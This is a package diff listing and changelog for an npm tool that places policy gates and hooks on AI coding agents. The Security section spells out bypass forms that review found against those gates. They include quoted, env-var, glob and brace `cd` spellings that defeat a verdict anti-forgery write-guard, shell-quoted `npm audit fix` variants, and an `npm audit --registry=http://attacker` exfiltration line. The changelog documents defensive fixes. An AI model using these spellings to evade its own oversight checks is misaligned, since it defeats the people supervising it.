@lannguyensi/harness 0.40.0 → 0.42.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +68 -0
- package/README.md +9 -0
- package/dist/cli/adopt/derive.d.ts +15 -0
- package/dist/cli/adopt/derive.js +34 -7
- package/dist/cli/adopt/derive.js.map +1 -1
- package/dist/cli/adopt/index.d.ts +30 -0
- package/dist/cli/adopt/index.js +23 -3
- package/dist/cli/adopt/index.js.map +1 -1
- package/dist/cli/apply/generate-settings.d.ts +14 -1
- package/dist/cli/apply/generate-settings.js +7 -3
- package/dist/cli/apply/generate-settings.js.map +1 -1
- package/dist/cli/approve/stdin-report.js +2 -0
- package/dist/cli/approve/stdin-report.js.map +1 -1
- package/dist/cli/approve/understanding.js +28 -0
- package/dist/cli/approve/understanding.js.map +1 -1
- package/dist/cli/doctor/claude-mcp.d.ts +50 -0
- package/dist/cli/doctor/claude-mcp.js +170 -0
- package/dist/cli/doctor/claude-mcp.js.map +1 -0
- package/dist/cli/doctor/codex.d.ts +8 -0
- package/dist/cli/doctor/codex.js +8 -1
- package/dist/cli/doctor/codex.js.map +1 -1
- package/dist/cli/doctor/format.js +60 -11
- package/dist/cli/doctor/format.js.map +1 -1
- package/dist/cli/doctor/index.d.ts +46 -0
- package/dist/cli/doctor/index.js +155 -29
- package/dist/cli/doctor/index.js.map +1 -1
- package/dist/cli/doctor/npm-bin-path.js +42 -0
- package/dist/cli/doctor/npm-bin-path.js.map +1 -1
- package/dist/cli/doctor/types.d.ts +37 -0
- package/dist/cli/doctor/types.js.map +1 -1
- package/dist/cli/dry-run.js +5 -0
- package/dist/cli/dry-run.js.map +1 -1
- package/dist/cli/explain.js +16 -3
- package/dist/cli/explain.js.map +1 -1
- package/dist/cli/index.js +328 -11
- package/dist/cli/index.js.map +1 -1
- package/dist/cli/init/agent-tasks-auth.js +32 -0
- package/dist/cli/init/agent-tasks-auth.js.map +1 -1
- package/dist/cli/init/composer.js +13 -40
- package/dist/cli/init/composer.js.map +1 -1
- package/dist/cli/init/dependencies.js +21 -0
- package/dist/cli/init/dependencies.js.map +1 -1
- package/dist/cli/init/detect.d.ts +20 -3
- package/dist/cli/init/detect.js +34 -36
- package/dist/cli/init/detect.js.map +1 -1
- package/dist/cli/init/index.d.ts +18 -0
- package/dist/cli/init/index.js +28 -2
- package/dist/cli/init/index.js.map +1 -1
- package/dist/cli/init/interactive.d.ts +41 -0
- package/dist/cli/init/interactive.js +421 -6
- package/dist/cli/init/interactive.js.map +1 -1
- package/dist/cli/init/profiles.d.ts +2 -2
- package/dist/cli/init/profiles.js +10 -1
- package/dist/cli/init/profiles.js.map +1 -1
- package/dist/cli/init/templates.d.ts +1 -1
- package/dist/cli/init/templates.js +217 -8
- package/dist/cli/init/templates.js.map +1 -1
- package/dist/cli/list.js +3 -1
- package/dist/cli/list.js.map +1 -1
- package/dist/cli/main.js +10 -0
- package/dist/cli/main.js.map +1 -1
- package/dist/cli/pack/hook-bootstrap.d.ts +24 -0
- package/dist/cli/pack/hook-bootstrap.js +47 -1
- package/dist/cli/pack/hook-bootstrap.js.map +1 -1
- package/dist/cli/pack/hook-branch-protection.js +9 -1
- package/dist/cli/pack/hook-branch-protection.js.map +1 -1
- package/dist/cli/pack/hook-codex-post-tool-use.d.ts +25 -0
- package/dist/cli/pack/hook-codex-post-tool-use.js +160 -0
- package/dist/cli/pack/hook-codex-post-tool-use.js.map +1 -0
- package/dist/cli/pack/hook-codex-pre-tool-use.d.ts +1 -0
- package/dist/cli/pack/hook-codex-pre-tool-use.js +43 -10
- package/dist/cli/pack/hook-codex-pre-tool-use.js.map +1 -1
- package/dist/cli/pack/hook-codex-stop.js +1 -8
- package/dist/cli/pack/hook-codex-stop.js.map +1 -1
- package/dist/cli/pack/hook-post-merge-gate-record.d.ts +30 -0
- package/dist/cli/pack/hook-post-merge-gate-record.js +153 -0
- package/dist/cli/pack/hook-post-merge-gate-record.js.map +1 -0
- package/dist/cli/pack/hook-post-merge-gate.d.ts +28 -0
- package/dist/cli/pack/hook-post-merge-gate.js +244 -0
- package/dist/cli/pack/hook-post-merge-gate.js.map +1 -0
- package/dist/cli/pack/hook-post-tool-use.js +16 -131
- package/dist/cli/pack/hook-post-tool-use.js.map +1 -1
- package/dist/cli/pack/hook-pre-tool-use.js +54 -2
- package/dist/cli/pack/hook-pre-tool-use.js.map +1 -1
- package/dist/cli/pack/hook-solution-acceptance-writeguard.js +148 -2
- package/dist/cli/pack/hook-solution-acceptance-writeguard.js.map +1 -1
- package/dist/cli/pack/hook-stay-in-scope.js +63 -20
- package/dist/cli/pack/hook-stay-in-scope.js.map +1 -1
- package/dist/cli/pack/hook-track-active-claim.js +33 -9
- package/dist/cli/pack/hook-track-active-claim.js.map +1 -1
- package/dist/cli/pack/index.d.ts +2 -1
- package/dist/cli/pack/index.js +2 -1
- package/dist/cli/pack/index.js.map +1 -1
- package/dist/cli/pack/mutate.d.ts +19 -0
- package/dist/cli/pack/mutate.js +38 -0
- package/dist/cli/pack/mutate.js.map +1 -1
- package/dist/cli/pack/reseed.d.ts +19 -0
- package/dist/cli/pack/reseed.js +118 -0
- package/dist/cli/pack/reseed.js.map +1 -0
- package/dist/cli/pack/understanding-report-schema-hint.js +1 -1
- package/dist/cli/pack/understanding-report-schema-hint.js.map +1 -1
- package/dist/cli/pause/index.js +12 -3
- package/dist/cli/pause/index.js.map +1 -1
- package/dist/cli/record/index.d.ts +64 -0
- package/dist/cli/record/index.js +211 -0
- package/dist/cli/record/index.js.map +1 -0
- package/dist/cli/session-start/index.d.ts +21 -0
- package/dist/cli/session-start/index.js +160 -25
- package/dist/cli/session-start/index.js.map +1 -1
- package/dist/cli/session-start/toolchain-parity.d.ts +149 -0
- package/dist/cli/session-start/toolchain-parity.js +618 -0
- package/dist/cli/session-start/toolchain-parity.js.map +1 -0
- package/dist/cli/uninstall/index.d.ts +73 -1
- package/dist/cli/uninstall/index.js +134 -2
- package/dist/cli/uninstall/index.js.map +1 -1
- package/dist/cli/validate/checks.js +8 -0
- package/dist/cli/validate/checks.js.map +1 -1
- package/dist/io/claude-mcp.d.ts +258 -0
- package/dist/io/claude-mcp.js +544 -0
- package/dist/io/claude-mcp.js.map +1 -0
- package/dist/policies/ledger-client.d.ts +34 -1
- package/dist/policies/ledger-client.js +21 -16
- package/dist/policies/ledger-client.js.map +1 -1
- package/dist/policy-packs/builtin/branch-protection-runtime.d.ts +4 -2
- package/dist/policy-packs/builtin/branch-protection-runtime.js +4 -2
- package/dist/policy-packs/builtin/branch-protection-runtime.js.map +1 -1
- package/dist/policy-packs/builtin/branch-protection.d.ts +10 -1
- package/dist/policy-packs/builtin/branch-protection.js +17 -0
- package/dist/policy-packs/builtin/branch-protection.js.map +1 -1
- package/dist/policy-packs/builtin/post-merge-gate-runtime.d.ts +195 -0
- package/dist/policy-packs/builtin/post-merge-gate-runtime.js +290 -0
- package/dist/policy-packs/builtin/post-merge-gate-runtime.js.map +1 -0
- package/dist/policy-packs/builtin/post-merge-gate.d.ts +56 -0
- package/dist/policy-packs/builtin/post-merge-gate.js +291 -0
- package/dist/policy-packs/builtin/post-merge-gate.js.map +1 -0
- package/dist/policy-packs/builtin/solution-acceptance-runtime.js +28 -13
- package/dist/policy-packs/builtin/solution-acceptance-runtime.js.map +1 -1
- package/dist/policy-packs/builtin/understanding-before-execution-runtime.d.ts +197 -24
- package/dist/policy-packs/builtin/understanding-before-execution-runtime.js +342 -40
- package/dist/policy-packs/builtin/understanding-before-execution-runtime.js.map +1 -1
- package/dist/policy-packs/builtin/understanding-before-execution.d.ts +26 -1
- package/dist/policy-packs/builtin/understanding-before-execution.js +302 -17
- package/dist/policy-packs/builtin/understanding-before-execution.js.map +1 -1
- package/dist/policy-packs/registry.d.ts +23 -2
- package/dist/policy-packs/registry.js +31 -2
- package/dist/policy-packs/registry.js.map +1 -1
- package/dist/policy-packs/ux-compare.d.ts +14 -0
- package/dist/policy-packs/ux-compare.js +58 -0
- package/dist/policy-packs/ux-compare.js.map +1 -0
- package/dist/policy-packs/ux-drift-check.d.ts +27 -0
- package/dist/policy-packs/ux-drift-check.js +78 -0
- package/dist/policy-packs/ux-drift-check.js.map +1 -0
- package/dist/probes/mcp.d.ts +13 -0
- package/dist/probes/mcp.js +57 -0
- package/dist/probes/mcp.js.map +1 -1
- package/dist/runtime/approval-signing.d.ts +82 -0
- package/dist/runtime/approval-signing.js +275 -0
- package/dist/runtime/approval-signing.js.map +1 -0
- package/dist/runtime/git-context.d.ts +50 -0
- package/dist/runtime/git-context.js +108 -1
- package/dist/runtime/git-context.js.map +1 -1
- package/dist/runtime/hermetic-spawn-guard.d.ts +25 -0
- package/dist/runtime/hermetic-spawn-guard.js +136 -0
- package/dist/runtime/hermetic-spawn-guard.js.map +1 -0
- package/dist/runtime/intercept.js +62 -5
- package/dist/runtime/intercept.js.map +1 -1
- package/dist/runtime/ledger-writer.d.ts +27 -0
- package/dist/runtime/ledger-writer.js +46 -0
- package/dist/runtime/ledger-writer.js.map +1 -0
- package/dist/runtime/pause-sentinel.js +14 -3
- package/dist/runtime/pause-sentinel.js.map +1 -1
- package/dist/runtime/read-only-bash.js +118 -0
- package/dist/runtime/read-only-bash.js.map +1 -1
- package/dist/runtime/recovery-git-commit.d.ts +22 -0
- package/dist/runtime/recovery-git-commit.js +284 -0
- package/dist/runtime/recovery-git-commit.js.map +1 -0
- package/dist/runtime/tool-name-aliases.d.ts +1 -0
- package/dist/runtime/tool-name-aliases.js +7 -1
- package/dist/runtime/tool-name-aliases.js.map +1 -1
- package/dist/schema/index.d.ts +94 -42
- package/dist/schema/index.js +5 -0
- package/dist/schema/index.js.map +1 -1
- package/dist/schema/policies.d.ts +56 -44
- package/dist/schema/policies.js +79 -9
- package/dist/schema/policies.js.map +1 -1
- package/dist/schema/toolchain-parity.d.ts +18 -0
- package/dist/schema/toolchain-parity.js +35 -0
- package/dist/schema/toolchain-parity.js.map +1 -0
- package/package.json +4 -2
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,74 @@ All notable changes to this project will be documented in this file.
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [Unreleased]
|
|
9
|
+
|
|
10
|
+
## [0.42.0] - 2026-07-27
|
|
11
|
+
|
|
12
|
+
### Security
|
|
13
|
+
|
|
14
|
+
- **The Risk Classifier's and understanding-gate's shared built-in read-only floor (`src/runtime/read-only-bash.ts`) now recognizes `cd` and a curated npm read-only subcommand set, closing a gap that let a prod-scoped `risk.severity_at_least` policy block plain navigation and dependency-tree reads on a production-resolved session — with two adjacent security fixes surfaced by adversarial review before this shipped** (task `fb67b402`). `cd` (pure navigation form only — any chained or redirected spelling still forfeits the classification via the existing shell-metacharacter guard) and `npm ls` / `list`, `view` / `info` / `show`, `outdated`, `why` / `explain`, `ping`, and `npm audit` (never `npm audit fix`) are now floored `low`-severity instead of unclassified, the same treatment `git status` / `git diff` already got. This is a curated POSITIVE allowlist, not a denylist: an npm subcommand this floor has not reasoned about — `install`, `ci`, `publish`, `update`, `version`, or a future verb — stays unclassified rather than assumed safe. This same shared classifier also feeds the understanding-gate's PreToolUse blocker (`isReadOnlyBashPipeline`), which now also passes `cd` / `npm audit` / `npm ls` without an approved Understanding Report — a deliberate widening, not incidental; see `docs/policy-packs/understanding-before-execution.md` for why, and its consciously-accepted pre-report network-read residual (already true of `git fetch` / `gh ... view`).
|
|
15
|
+
- **Fixed before ship (HIGH, adversarial review, round 1): the solution-acceptance anti-forgery write-guard's `cd`-into-verdict-dir block only closed the LITERAL-path spelling.** `cd`'s general read-only classification meant `src/cli/pack/hook-solution-acceptance-writeguard.ts`'s `evaluateWriteGuard` needed its own defense-in-depth pre-check so a bare `cd <verdict-dir>` — the setup half of a two-Bash-call forge — stays blocked (the actual forging write is separately closed by the pre-existing cwd-inside-dir check on the following call, which is unaffected and remains the load-bearing defense). The FIRST version of that pre-check only caught the literal, unquoted path spelling: `path.resolve` cannot literally evaluate a quoted (`cd "$DIR"`, `cd '$DIR'`), env-var/brace (`cd $SOLUTION_VERDICT_DIR`, `cd $HOME/...`, `cd ${HOME}/...`), tilde (`cd ~/...`), or glob (`cd .../solution-ver*`) spelling, so each of those seven forms silently took `cd`'s unconditional read-only fast path instead of reaching the existing text-reference check that already recognized every one of those spellings for any OTHER (non-cd) Bash command. Fixed: a `cd` target containing `$ ~ * ? [ " '` now skips the read-only fast path entirely and falls through to the same `bashReferencesVerdictDir` check, closing all seven spellings without reverting `cd`'s general classification.
|
|
16
|
+
- **Fixed before ship (MEDIUM, adversarial review, round 1): `npm audit "fix"` (and other shell-quoted spellings) floored as read-only.** The original `npm audit` guard was a token-equality denylist (`!tokens.slice(2).includes("fix")`) — a shell-quoting bypass, since npm's own arg parsing strips quoting before npm ever sees the argument, so `npm audit "fix"`, `'fix'`, `f''ix`, `fi"x"`, and `$'fix'` all run the mutating `npm audit fix` path in npm 11.17.0 while none of the raw, un-shell-evaluated tokens equals the literal string `fix`. Fixed with a POSITIVE shape instead, matching the module's allowlist-not-denylist contract: every token after `audit` must either start with `-` (a flag) or be the literal `signatures`, or the whole invocation forfeits the floor — closing every quoting variant and any future `npm audit <verb>` in one rule, at the acceptable, conservative cost of failing closed on any separated flag value (e.g. `npm audit --audit-level high`, `npm audit --omit dev` — use the glued `--flag=value` form to stay floored). Also added, same round: `--registry` / `--userconfig` / `--globalconfig` on ANY npm subcommand forfeits the floor (`npm audit --registry=http://attacker` would otherwise submit the full dependency manifest to an operator-unverified host); `info`, `show` (both `view` aliases) and `explain` (`why`'s formal name) joined the npm allowlist; other npm aliases (`la`, `ll`, `v`) are deliberately NOT floored, only canonical spellings.
|
|
17
|
+
- **Fixed before ship (HIGH, adversarial review, round 2): the round-1 `cd` fix's unresolvable-character set missed brace expansion, a ninth live spelling.** `CD_TARGET_UNRESOLVABLE_CHARS` had no `{`, `}`, or `,`, so `path.resolve` treated `cd <parent>/{solution-verdicts,x}` as a literal (non-existent) path segment — neither inside the dir nor flagged unresolvable — and the read-only fast path fired even though bash (verified against 3.2.57) expands the brace and navigates INTO the verdict dir, ignoring the extra alternative; the `-P` / `--` prefixed and cwd-relative forms were equally affected. Fixed in two parts: (1) `CD_TARGET_UNRESOLVABLE_CHARS` now includes `{ } ,`, so any brace-expansion spelling falls through to the reference check same as the other six spellings; (2) `bashReferencesVerdictDir`'s glob-metacharacter test (`src/policy-packs/builtin/solution-acceptance-runtime.ts`) widened from `/[*?[]/` to `/[*?[{]/` so the leaf-word fallback also catches a brace that SPLITS the leaf itself (`solution-verdict{s,}`), a narrower pre-existing hole (not `cd`-specific, not introduced by round 1) the same widening closes. Also this round: the per-scope npm registry override `--@scope:registry=URL` (npm resolves a scoped package's registry from `@scope:registry` before the plain `registry` config, so it is an equally live exfiltration vector) now forfeits the npm floor alongside the unscoped form; `cdTargetArgument` now strips one layer of surrounding quotes before either check runs, so `cd "<dir>-decoy"` behaves like the unquoted `cd <dir>-decoy` (both correctly NOT blocked) instead of being spelling-dependent; a positive test pins `npm audit -fix` (single dash) as deliberately floored (verified npm behavior: `Unknown cli config "--fix"`, report only); and the module header / relevant docstrings were reworded from enumerating expansions in a way that read as exhaustive to stating explicitly what they DO cover and naming the still-open residual (backslash-escaping a leaf character defeats the textual match under both `cd` and non-`cd` commands alike — pre-existing, needs shell-unescaping in `bashReferencesVerdictDir` to close, out of this task's scope).
|
|
18
|
+
- New tests: `tests/runtime/read-only-bash.test.ts`, `tests/runtime/risk-classifier.test.ts`, `tests/cli/pack-hook-solution-acceptance-writeguard.test.ts` (round 1: 7-spelling + discriminating-pair + near-miss cases; round 2: 6 brace-form negatives + 1 split-leaf negative + the quote-stripped decoy pin). Docs: `docs/risk-gate.md`, `docs/policy-packs/understanding-before-execution.md`.
|
|
19
|
+
- **`fast-uri` HIGH advisory (GHSA-v2hh-gcrm-f6hx) closed via a lockfile refresh; `@lannguyensi/understanding-gate` ends this window pinned to `^0.4.9`, after a same-day detour through an exact `0.4.5` pin** (PRs #366, #367). The advisory (host confusion via a literal backslash authority delimiter, fast-uri 3.0.0-3.1.3) reached the harness tree via `understanding-gate -> ajv -> fast-uri`; ajv already declared `fast-uri: ^3.0.1`, which permits the fixed 3.1.4, so refreshing the lockfile pin closed the advisory — no `package.json` change was needed for the advisory itself. Bumping `understanding-gate` itself (0.4.5 -> ^0.4.7, resolving 0.4.8) was evaluated and REJECTED on evidence: it shares the same `ajv: ^8.12.0` constraint (doesn't touch the advisory) and breaks `tests/cli/approve-understanding.test.ts` (persisted `taskId` comes back as the `sessionId`; bisected 0.4.6 green, 0.4.7/0.4.8 red). PR #366 pinned `understanding-gate` to an EXACT `0.4.5` to hold that line through `npm install`/`npm update`, not just `npm ci` (`~0.4.5` still admits the broken 0.4.7). PR #367 lifted the pin once `understanding-gate` 0.4.9 shipped: it restores the documented gap-fill contract for `defaults.taskId` (agent-grounding PR #153) with its own regression test, so the consumer suite is no longer the only detector — verified via `tests/cli/approve-understanding.test.ts` 70/70 against 0.4.9 plus a full preflight run.
|
|
20
|
+
- **`postcss` HIGH advisory (GHSA-r28c-9q8g-f849) closed via `npm audit fix`** (PR #374). `postcss` <= 8.5.17 is vulnerable to path traversal via `sourceMappingURL` auto-loading, disclosing arbitrary `.map` files; it reaches this repo transitively as a dev dependency only (`vitest 4.1.8 -> vite 8.0.16 -> postcss 8.5.15`). Closed non-breaking: `postcss` 8.5.15 -> 8.5.23 and its `nanoid` dependency 3.3.12 -> 3.3.16, no `package.json` change and no override introduced. `npm audit` now reports 0 vulnerabilities; this also unblocked this repo's own `harness preflight`, whose npm-audit check had been failing on exactly this advisory.
|
|
21
|
+
|
|
22
|
+
### Added
|
|
23
|
+
|
|
24
|
+
- **Third `SessionStart` companion: a toolchain-parity snapshot, advisory-only, compared against peer machines** (task `5427fe54`, PR #368). Alongside the existing preflight and branch-check `SessionStart` hooks, it writes this machine's toolchain snapshot (PATH-resolved node version, npm globals, OW-Kit manifest version, MCP server names) to the machine-state directory synced by `agent-memory-sync`, compares the live local state against every peer snapshot found there, and reports drift as warn lines plus a `toolchain-parity:ok|drift:<n>` ledger fact. Disabled by default behind a new optional `toolchain_parity` manifest block; every failure path logs and exits 0 rather than blocking the session. Both new spawns are injectable and registered in the hermetic spawn guard. A same-PR review note documented the constraint that profile names must stay unique after filename sanitization (`[^a-zA-Z0-9._-]` -> `-`), naming plain names like `mac-mini`/`macbook` as safe — this is a docs-only clarification, not a code fix: `sanitizeProfileName` gained no collision guard (LOW-1). `check:duplication`'s `MAX_CLONES` pin moved 86 -> 95: the CLI option-parsing wiring joins the existing clone cluster shared verbatim with the sibling hooks (justified in `scripts/check-duplication.mjs`). New tests: 32 hermetic tests covering ok, drift, missing/corrupt peers, unconfigured, and spawn-degradation cases. Docs: `docs/CLI.md`, `docs/examples/full-manifest.expected.yaml`.
|
|
25
|
+
- **New opt-in `post-merge-gate` policy pack: denies mutating git/gh work on a branch whose tip has already been merged** (task `d368e30d`, PR #369). A `PostToolUse` producer records the merged branch tip only on a confirmed `gh pr merge` success (`tool_output.exit_code === 0`, a defensive payload read, the trusted ledger writer), and a `PreToolUse` blocker denies a curated git/gh mutation list once the current branch tip exactly matches a recorded merged tip. An escape allowlist (`git switch`/`checkout`/`pull`/`fetch`/`branch -d`/`-D`/`stash list`/`show`, harness verbs) is checked first, unconditionally, before any manifest or ledger access, and the gate fails open with a warning when the ledger is unavailable. Exact-sha matching keeps it squash-safe and avoids false positives on post-merge commits or recycled branch names. `resolveOriginHeadBase`/`resolveCommonDir` moved to the new `src/runtime/git-context.ts` for reuse; MCP-side merges stay a documented gap. Ships disabled (`FULL_TEMPLATE enabled: false`). A same-PR review round named two accepted residuals in `docs/policy-packs/post-merge-gate.md`: a curated mutation chained with an escape verb is allowed whole (the same accepted class as the existing eval/heredoc gap), and a hand-written merged fact matching the current tip denies curated mutations on that branch, recoverable via any escape or a new commit. `check:duplication`'s `MAX_CLONES` pin moved 95 -> 102 (sibling-pack wiring shape, no cross-verb extraction possible).
|
|
26
|
+
- **Fixed the same day (PR #370): the documented `tool_output.exit_code` producer contract never actually fires on real Claude Code.** Live verification on Claude Code 2.1.218 (a real hook fire against an isolated settings probe) showed the `PostToolUse` payload is `tool_response` — `{stdout, stderr, interrupted, isImage, noOutputExpected}`, no exit code at all — so the producer shipped in PR #369 was silently inert against the actual runtime. Contract A (`tool_output.exit_code === 0`) stays authoritative and short-circuits when present; a new Contract B confirms via `tool_response` with `interrupted: false` and `gh`'s past-tense success line, matching both the real glued `owner/repo#N` shape (source-verified against `gh` v2.94.0's `merge.go:369-376`, which writes success to stderr via `infof`) and the bare `#N` doc shape. Auto-merge-pending and already-merged warnings are pinned as negatives against `gh`'s exact wording. The real 2.1.218 payload is committed as a drift-guard fixture (`tests/fixtures/post-merge-gate/real-posttooluse-payload-2.1.218.json`).
|
|
27
|
+
- New tests: `tests/cli/pack-hook-post-merge-gate.test.ts`, `tests/cli/pack-hook-post-merge-gate-record.test.ts`, `tests/policy-packs/post-merge-gate-expand.test.ts`, `tests/policy-packs/post-merge-gate-runtime.test.ts` (escape-first ordering, chained-escape and inverted-trust-boundary pins, both payload contracts, the fixture-driven drift guard). Docs: `docs/policy-packs/post-merge-gate.md`.
|
|
28
|
+
- **CI now fails fast on a committed `.only` under `tests/`** (task `b4845053`, follow-up of task `052f9d5b` review round 4, PR #372). `vitest` with `CI=true` (`allowOnly=false`) reports an unexpected `.only` but still exits 0 for some file shapes, and a `describe.only` whose selected tests are all skipped disables both layers of the hermetic-spawn backstop at once. The new `scripts/check-no-only.mjs` parses `tests/**/*.{ts,mts,cts}` with the TypeScript compiler API and flags `.only` property accesses rooted at a bare `describe`/`it`/`test` identifier, so chained modifiers and `.each` variants are caught while strings, comments, and test names structurally cannot trip it. Wired as `check:no-only`, a fail-fast CI step before Build, ~0.9s for the whole test tree. A same-PR review round added the vitest options-object form (`it(name, { only: true }, fn)`, a documented way to activate only-mode that defeated the property-access gate the same way) and hardened the check's CLI with an `isDirectRun` guard and in-process tests (exit code + `file:line` output); accepted known bypasses (bracket/computed access, an aliased holder, a renamed import, `bench.only`, and the options form reached through a chained call) are documented in the script itself.
|
|
29
|
+
- **`harness preflight`'s `SessionStart` producer now persists the full failing run to a log file, and the not-ready message names which checks failed** (task `31fbf856`, PR #356). On a real `ready !== true` outcome, the producer writes the complete `preflight run --json` payload (pretty-printed) to `~/.harness/logs/preflight-<repo>-<timestamp>.json` (an injectable `logDir` seam) and keeps only the last 20 `preflight-*.json` files per rotation, leaving any foreign files in that directory untouched. The `SessionStart` fail message itself now surfaces up to 3 detail lines per failing check plus a trailing `; log: <path>` pointer, instead of just the bare check name. The `ready:true` and spawn-error branches are unchanged, and every new file-IO path degrades to a note on failure rather than breaking the `SessionStart` `blocking:false` / exit-0 contract. A companion root-fix to `agent-preflight`'s own output capping is tracked separately as task `6691dd56`. New tests: `tests/cli/session-start/preflight.test.ts`.
|
|
30
|
+
- **New `harness record` CLI verbs write gate evidence directly into the session ledger for `review`, `review-subagent`, and `dogfood`** (agent-tasks task `27ba3570`, PR #357). Each verb writes one multi-tag fact, mirroring the existing preflight producer: `review` writes `review:<pr>` + `review:<branch>` + `review:<base>`; `review-subagent` writes `review-subagent:<task>` + `review-subagent:<branch>` + a verdict tag; `dogfood` writes `dogfood:<session>`. Branch resolution shares `resolveGitContext` with the gates that consume these tags; base resolution tries `--base`, then an `origin/HEAD` filesystem fallback, then omits loudly rather than guessing — a review follow-up made that fallback resolve `origin/HEAD` through a linked worktree's commondir file too, so a worktree checkout no longer silently degrades to omit-with-warning. The manifest -> `grounding-mcp` ledger-writer wiring was extracted into the new `src/runtime/ledger-writer.ts`, shared unchanged with `session-start`. The evidence-gate `ux.run` hints across all four manifest sources (`templates.ts`, `composer.ts`, `profiles.ts`, `docs/examples/full-manifest.yaml`) now point at the `record` verbs instead of the old hand-written instructions. An invalid `--ledger-timeout` now warns instead of silently falling back. New tests: `tests/cli/record/record.test.ts`, `tests/cli/record/record-alias.test.ts`, `tests/e2e/record-roundtrip.test.ts` (real record runners feeding the real intercept path, both merge surfaces, empty-ledger deny counter-checks). Docs: `docs/CLI.md` (tag-semantics table, merge-surface trap, `--base` guidance), `docs/okf/evidence-ledger-trust-boundary.md` (re-verification pass).
|
|
31
|
+
- **`harness uninstall --apply` (and `--restore-from`) now deregisters harness-owned MCP servers from the live `claude mcp` registry, not just the `settings.json` block** (task `d6086441`, PR #361). It calls `claude mcp remove --scope user` for harness-owned names (`DEFAULT_OWNED_MCP_SERVERS` union the manifest's `tools.mcp[]` names) that are actually registered in the live user-scope registry — read-only checked via `readTopLevelMcpServers` first, never a blind iteration — and foreign registrations are never touched. `--dry-run` lists the planned removals with zero exec calls. `cli-missing` and per-name failures never hard-fail: outcomes land in inventory warnings with copy-pasteable `manualRemoveLines` fallback commands, and the result distinguishes a partial success (settings.json cleaned, registry removal failed or skipped) from a complete one; a registry read error removes nothing. `uninstall()` is now async; its only in-repo caller (the CLI command) awaits it and prints the new registry fields. A review-round fix seatbelted the registry axis the same way `stateDir` already is: an explicit `homeDir` or an injected `mcpExec` each neutralize the risk on their own, and absent both, only `HARNESS_ALLOW_REAL_GENERATED_DIR=1` unlocks it (set by `src/cli/main.ts` for the real binary, so production behavior is unchanged) — a blocked run skips the axis entirely, including the read, and reports an empty list plus a warning. New tests: `tests/cli/uninstall/uninstall.test.ts` (seatbelt blocked/env-unlocked/homeDir-unlocked cases, and a `--restore-from` case asserting the exact `claude mcp remove` argv). Docs: `docs/examples/pandora-bootstrap.md` (rollback steps and the manual fallback).
|
|
32
|
+
|
|
33
|
+
### Fixed
|
|
34
|
+
|
|
35
|
+
- **`harness init`'s MCP-server registration now writes to the surface Claude Code actually reads, instead of a dead `settings.json` block** (task `init-mcp-wiring-claude-code`). Every prior `harness init --interactive` run projected `tools.mcp[]` into user-level `~/.claude/settings.json`'s `mcpServers` key; Claude Code does not consume that key for user-scope registration and never has — the effective registry is `~/.claude.json`, previously reachable only by hand-running `claude mcp add-json`. The wizard now registers every enabled `tools.mcp[]` server there directly, via `claude mcp add-json --scope user` (new `ensureMcpServers` in `src/io/claude-mcp.ts`, a thin injectable-exec wrapper around `claude mcp add-json/remove/get/list`), right after the hooks apply step, then migrates away the dead settings.json block — but only once registration has actually succeeded, so a missing `claude` CLI leaves existing state untouched and prints copy-pasteable `claude mcp add-json` commands instead of failing or silently doing nothing. `generate-settings.ts` no longer projects `mcpServers` into settings.json at all (the translated spec map is exposed via `GenerateSettingsResult.mcpServers` for the new registration path instead). `harness doctor` gained a "Claude Code MCP Registration" section that re-verifies the live registry via `claude mcp list` and flags a leftover dead settings.json block. **Known limitations, tracked as follow-ups, not fixed by this task:** no removal GC — toggling a `tools.mcp[]` entry to `enabled: false` (or deleting it from the manifest) does not deregister an already-registered server (since closed in this same Unreleased batch by task `363a6de0`, see below); no `uninstall` symmetry — `harness uninstall` still only cleans the settings.json block, not the live `claude mcp` registration it now creates (since closed by task `d6086441`, see the Added section above); `harness init --probe`'s detection and `harness adopt`'s MCP drift check still read the (now largely dead) settings.json block rather than the live registry (since closed in this same 0.42.0 batch by task `83d8d03a`, see below). New tests: `tests/io/claude-mcp.test.ts` (43 cases), plus updates to `tests/cli/init-interactive.test.ts`, `tests/cli/apply/apply.test.ts`, `tests/cli/apply/generate-settings.test.ts`, `tests/cli/adopt.test.ts`, `tests/cli/doctor-claude-mcp.test.ts` (new), and `tests/cli/doctor.test.ts`. Docs: `docs/ARCHITECTURE.md`, `docs/examples/pandora-bootstrap.md`, `README.md`, `docs/okf/debug-verb-selection.md`.
|
|
36
|
+
- **`harness init --interactive`'s claude-code wire-now step now deregisters a `tools.mcp[]` server that was removed or disabled from the manifest, closing the "no removal GC" gap the `init-mcp-wiring-claude-code` entry above tracked as a known limitation** (task `363a6de0`). Every ensure run used to only add/replace `desired` servers, never remove one that fell out of `desired` — an operator who deleted or disabled a `tools.mcp[]` entry had to run `claude mcp remove` by hand. `ensureMcpServers` (`src/io/claude-mcp.ts`) gains an opt-in `gc: { ownedNames }` option: after reconciling `desired`, it additionally `claude mcp remove`s any name in `ownedNames` that is still registered but no longer in `desired`; omitting `gc` leaves behavior exactly as before. **Ownership criterion (read this before relying on it):** the wizard passes `ownedNames` = the CURRENT manifest's `tools.mcp[]` names UNION the `tools.mcp[]` names from the `.last-apply` manifest snapshot captured **before** this run's `apply()` executes (`apply()` re-stamps `.last-apply` with the just-edited manifest whenever anything changed — including an edit that also touches a hook — so capturing the snapshot first is what lets a combined "remove this MCP + change this hook" edit still GC the dropped server correctly). The uninstall module's `DEFAULT_OWNED_MCP_SERVERS` list (`agent-tasks`, `codebase-oracle`, `grounding-mcp`) is **deliberately excluded** from GC eligibility: a server sharing one of those names that the operator registered themselves — outside of, or before, any harness manifest on this machine — is never touched, because "shares a default name" is not the same claim as "this install's manifest once had it." A manifest entry that's merely drifted (registered content differs from the manifest spec) but is STILL present in `desired` is never a GC candidate either, regardless of ownership — the existing add/replace path re-syncs it instead. No snapshot available (fresh install, or a corrupt/pre-snapshot `.last-apply`) degrades conservatively to manifest-only ownership, never a guess. A repeat run with no manifest change makes zero additional `claude mcp remove` calls (same idempotence bar as the add/replace path); a `claude` CLI that's missing, times out, or the registry being unreadable are all reported as a warning with copy-pasteable `claude mcp remove --scope user <name>` fallback commands (new `manualRemoveLines` in `src/io/claude-mcp.ts`), never a hard failure. New tests: 9 cases added to 